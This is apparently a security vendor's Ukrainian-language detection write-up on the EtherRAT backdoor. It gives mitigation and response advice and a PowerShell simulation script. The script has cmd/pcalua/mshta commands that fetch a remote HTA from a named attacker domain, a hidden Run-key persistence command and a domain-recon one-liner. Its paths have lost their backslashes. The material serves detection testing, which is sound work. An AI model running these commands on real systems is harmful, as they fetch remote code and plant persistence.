EtherRAT і модуль SYS_INFO: C2 на Ethereum (EtherHiding), вибір цілі, подоба CDN-маячка

Резюме

EtherRAT – це бекдор на Node.js, який визначає свої командно-контрольні кінцеві точки з Ethereum смарт-контрактів, використовуючи підхід «EtherHiding». Він інтегрується в нормальний веб-трафік, формуючи маяки, що нагадують безпечні запити CDN, орієнтуючись на цінні дані, такі як криптовалютні гаманці та хмарні облікові дані. Первинний доступ, як правило, здійснюється шляхом соціальної інженерії в стилі ClickFix або підроблених приманок IT-підтримки, які запускають виконання шкідливого HTA за допомогою pcalua.exe і mshta.exe.

Розслідування

Підрозділ реагування на загрози eSentire спостерігав багатоступеневий ланцюг завантажувача, що включає робочий процес розшифровки AES-256-CBC, стійкість через значення HKCU Run у реєстрі та модуль SYS_INFO, відповідальний за широку профілювання хоста. EtherRAT звертається до кількох публічних провайдерів Ethereum RPC, щоб знайти відповідний смарт-контракт, а потім створює URL-адреси, схожі на CDN, і опитує їх для отримання завдань і подальших команд, підсилюючи свою маскування під «законний трафік».

Пом’якшення

Використовуйте AppLocker або WDAC для блокування або суворого контролю pcalua.exe і mshta.exe, а також обмежте діалогове вікно запуску Windows через групову політику. Там, де можливо, обмежте або заблокуйте доступ до відомої публічної інфраструктури поспіль crypto RPC і сповіщайте про несподіване використання Ethereum RPC з кінцевих точок, які його не потребують. Встановіть контроль endpoint, який може виявляти бекдори на базі Node.js і контролювати ненормальні шаблони маячків, що імітують поведінку отримання CDN для виявлених доменів.

Реакція

Якщо виявлена активність EtherRAT, ізолюйте кінцеву точку, закінчіть поточний процес і видаліть запис стійкості HKCU Run разом з будь-якими артефактами, що залишилися. Проведіть повне судове обстеження, щоб підтвердити, що додаткові навантаження не були занищені, і змініть скомпрометовані облікові дані – пріоритетними є секрети криптовалютних гаманців і ключі хмарних сервісів. Розширте полювання по всьому середовищі на подібні запити Ethereum-RPC і докладну поведінку опитування для оцінки можливого поширення.

Виконання симуляції

Передумова: телеметрія та перевірка базового рівня повинна пройти успішно.

Обґрунтування: Цей розділ детально описує точне виконання техніки супротивника (TTP), розробленої для запуску правила виявлення. Команди та розповідь МАЮТЬ безпосередньо відображати виявлені TTP і спрямовані на створення точного обсягу даних телеметрії, очікуваного при логіці виявлення. Абстрактні або нерелевантні приклади приведуть до помилкового діагнозу.

• Атака та команди:

  1. Початковий доступ – ClickFix скидач: Атакер використовує шкідливий ClickFix інсталятор, який запускає схований cmd.exe який викликає pcalua.exe.
  2. Непряме виконання: pcalua.exe інструктує запустити mshta.exe проти віддаленого HTA файлу, розміщеного на https://www-flow-submission-management.shepherdsestates.uk/shep.hta. Цей HTA скрипт завантажує нагрузку EtherRAT.
  3. Налаштування стійкості: Скидач додає Run значення реєстру під HKCU:SoftwareMicrosoftWindowsCurrentVersionRun вказуючи на ланцюг виконання з conhost.exe → node.exe забезпечує, що шкідливе ПО запускається при вході користувача.
  4. Розвідка домену: Паралельно запускається PowerShell однолінійка для зчитування доменного імені машини, сигналізуючи атакеру, що хост приєднаний до домену.

  Усі три командні рядки виконуються з одного схованого cmd.exe екземпляра, відповідного правилу Sigma індикатор1/індикатор2 or індикатор3 комбінація.

• Скрипт тесту на регресію: Наступний скрипт відтворює точні командні рядки (шляхи, специфічні для користувача, вирішуються за допомогою змінних середовища).

  # -------------------------------------------------------------
  # Симуляція початкового доступу EtherRAT – PowerShell оболонка
  # -------------------------------------------------------------
  $username = $env:USERNAME
  $htaUrl = "https://www-flow-submission-management.shepherdsestates.uk/shep.hta"
  $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
  $runValueName = '0c939bf7ae8f'
  $conhostPath = "$env:WINDIRSystem32conhost.exe"
  $nodePath = "C:Users$usernameAppDataLocalVZM5DHxgYbxqnode.exe"
  $payloadBin = "C:Users$usernameAppDataLocalVZM5DHTlHAiIlxoF.bin"
  
  # 1. Індикатор 1 – pcalua -> mshta
  $cmd1 = "C:Windowssystem32cmd.exe /min /c `"pcalua.exe -a mshta.exe -c $htaUrl`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/min /c `"pcalua.exe -a mshta.exe -c $htaUrl`"" -WindowStyle Hidden
  
  # 2. Індикатор 2 – Ключ запуску реєстру з ланцюгом conhost
  $regCommand = "reg add `"HKCU:SoftwareMicrosoftWindowsCurrentVersionRun`" /v `"$runValueName`" /t REG_SZ /d `"$conhostPath --headless `"$nodePath`" `"$payloadBin`"`" /f"
  $cmd2 = "C:Windowssystem32cmd.exe /d /s /c `"$regCommand`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$regCommand`"" -WindowStyle Hidden
  
  # 3. Індикатор 3 – PowerShell запит домену
  $psCommand = "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command `"(Get-WmiObject Win32_ComputerSystem).Domain`""
  $cmd3 = "C:Windowssystem32cmd.exe /d /s /c `"$psCommand`""
  Start-Process -FilePath "C:Windowssystem32cmd.exe" -ArgumentList "/d /s /c `"$psCommand`"" -WindowStyle Hidden
  
  Write-Host "`n[+] Команди симуляції видані. Перевірте SIEM для відповідності тривог."

• Команди очищення: Видаліть запис реєстру та видаліть будь-які файли, створені під час симуляції.

  # -------------------------------------------------------------
  # Очищення – видалення ключа запуску та тимчасових файлів
  # -------------------------------------------------------------
  $runKeyPath = 'HKCU:SoftwareMicrosoftWindowsCurrentVersionRun'
  $runValueName = '0c939bf7ae8f'
  
  # Видалити значення ключа запуску
  if (Test-Path $runKeyPath) {
      Remove-ItemProperty -Path $runKeyPath -Name $runValueName -ErrorAction SilentlyContinue
      Write-Host "[+] Видалено значення запуску реєстру $runValueName"
  }
  
  # Видалити залишкові файли (якщо вони були створені)
  $paths = @(
      "$env:TEMPbenign.txt"               # з базового рівня (необов'язково)
  )
  foreach ($p in $paths) {
      if (Test-Path $p) { Remove-Item $p -Force }
  }
  
  Write-Host "[+] Очистка завершена."